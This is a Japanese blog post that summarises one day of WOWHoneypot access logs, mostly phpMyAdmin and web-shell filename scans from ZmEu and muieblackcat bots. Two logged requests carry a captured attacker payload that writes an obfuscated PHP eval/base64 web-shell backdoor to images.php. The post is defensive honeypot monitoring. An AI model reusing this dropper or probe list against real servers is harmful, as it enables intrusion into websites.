S-Owl

S(ecurity)Owl

WOWHoneypotの簡易分析(60日目)

WOWhoneypotの2018-08-02(運用 日目)の簡易分析です。
本日の総アクセス件数は 118件です。件数はさほどでもないですが種類は多いです。
以下が全アクセスログです。

28 2018-08-02 GET /
2 2018-08-02 POST /qq.php
2 2018-08-02 GET /mysql/scripts/setup.php
2 2018-08-02 CONNECT 133.130.126.119:43
1 2018-08-02 PROPFIND /
1 2018-08-02 POST /zuoshou.php
1 2018-08-02 POST /yao.php
1 2018-08-02 POST /xx.php
1 2018-08-02 POST /xw.php
1 2018-08-02 POST /xw1.php
1 2018-08-02 POST /xshell.php
1 2018-08-02 POST /xiao.php
1 2018-08-02 POST /xiaoma.php
1 2018-08-02 POST /wuwu11.php
1 2018-08-02 POST /wshell.php
1 2018-08-02 POST /w.php
1 2018-08-02 POST /weixiao.php
1 2018-08-02 POST /webslee.php
1 2018-08-02 POST /wc.php
1 2018-08-02 POST /system.php
1 2018-08-02 POST /s.php
1 2018-08-02 POST /sheep.php
1 2018-08-02 POST /q.php
1 2018-08-02 POST /phpstudy.php
1 2018-08-02 POST /pe.php
1 2018-08-02 POST /mx.php
1 2018-08-02 POST /log.php
1 2018-08-02 POST /lindex.php
1 2018-08-02 POST /images.php
1 2018-08-02 POST /hm.php
1 2018-08-02 POST /feixiang.php
1 2018-08-02 POST /fack.php
1 2018-08-02 POST /defect.php
1 2018-08-02 POST /db_session.init.php
1 2018-08-02 POST /db.init.php
1 2018-08-02 POST /db__.init.php
1 2018-08-02 POST /data.php
1 2018-08-02 POST /conflg.php
1 2018-08-02 POST /cmx.php
1 2018-08-02 POST /cmd.php
1 2018-08-02 POST /cainiao.php
1 2018-08-02 POST /aotu.php
1 2018-08-02 POST /angge.php
1 2018-08-02 POST /ak47.php
1 2018-08-02 POST /9678.php
1 2018-08-02 GET /webdav/
1 2018-08-02 GET /w00tw00t.at.blackhats.romanian.anti-sec:)
1 2018-08-02 GET /scripts/setup.php
1 2018-08-02 GET /pma/scripts/setup.php
1 2018-08-02 GET //pma/scripts/setup.php
1 2018-08-02 GET /PMA2016/scripts/setup.php
1 2018-08-02 GET /pma2016/scripts/setup.php
1 2018-08-02 GET /PMA2015/scripts/setup.php
1 2018-08-02 GET /pma2015/scripts/setup.php
1 2018-08-02 GET /PMA2014/scripts/setup.php
1 2018-08-02 GET /pma2014/scripts/setup.php
1 2018-08-02 GET /PMA2013/scripts/setup.php
1 2018-08-02 GET /pma2013/scripts/setup.php
1 2018-08-02 GET /PMA2012/scripts/setup.php
1 2018-08-02 GET /pma2012/scripts/setup.php
1 2018-08-02 GET /PMA2011/scripts/setup.php
1 2018-08-02 GET /pma2011/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin/scripts/setup.php
1 2018-08-02 GET //phpMyAdmin/scripts/setup.php
1 2018-08-02 GET /phpmyadmin/scripts/setup.php
1 2018-08-02 GET //phpmyadmin/scripts/setup.php
1 2018-08-02 GET /phpmyadmin7/scripts/setup.php
1 2018-08-02 GET /phpmyadmin6/scripts/setup.php
1 2018-08-02 GET /phpmyadmin5/scripts/setup.php
1 2018-08-02 GET /phpmyadmin4/scripts/setup.php
1 2018-08-02 GET /phpmyadmin3/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin-2/scripts/setup.php
1 2018-08-02 GET /phpmyadmin2/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin-2.11.11/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin-2.11.11.3/scripts/setup.php
1 2018-08-02 GET /phpMyAdmin-2.10.0.0/scripts/setup.php
1 2018-08-02 GET /mysqladmin/scripts/setup.php
1 2018-08-02 GET /MyAdmin/scripts/setup.php
1 2018-08-02 GET //MyAdmin/scripts/setup.php
1 2018-08-02 GET /myadmin/scripts/setup.php
1 2018-08-02 GET //myadmin/scripts/setup.php
1 2018-08-02 GET /muieblackcat
1 2018-08-02 GET /manager/html
1 2018-08-02 GET /db/scripts/setup.php
1 2018-08-02 GET /dbadmin/scripts/setup.php
1 2018-08-02 GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1 2018-08-02 GET /cmx.php?cmd=echo+%22%3C%3Fphp+%5C%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%5C%24test%3D%5C%24func%28%27%5C%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%5C%24x%29%29%3B%27%29%3B%5C%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%3E%22+%3Eimages.php+%26+echo+Hello%2C+Peppa%21

phpMyAdmin関連(40件)とPeppa(44件)と/を除外したアクセス数です。

2 2018-08-02 CONNECT 133.130.126[.119:43
1 2018-08-02 GET /webdav/
1 2018-08-02 GET /w00tw00t.at.blackhats.romanian.anti-sec:)
1 2018-08-02 GET /muieblackcat
1 2018-08-02 GET /manager/html 

主に ZmEuとmuieblackcatからのphpMyAdminに対するスキャンを検知していました。

 

本日のハンティングログはありません。

以上です。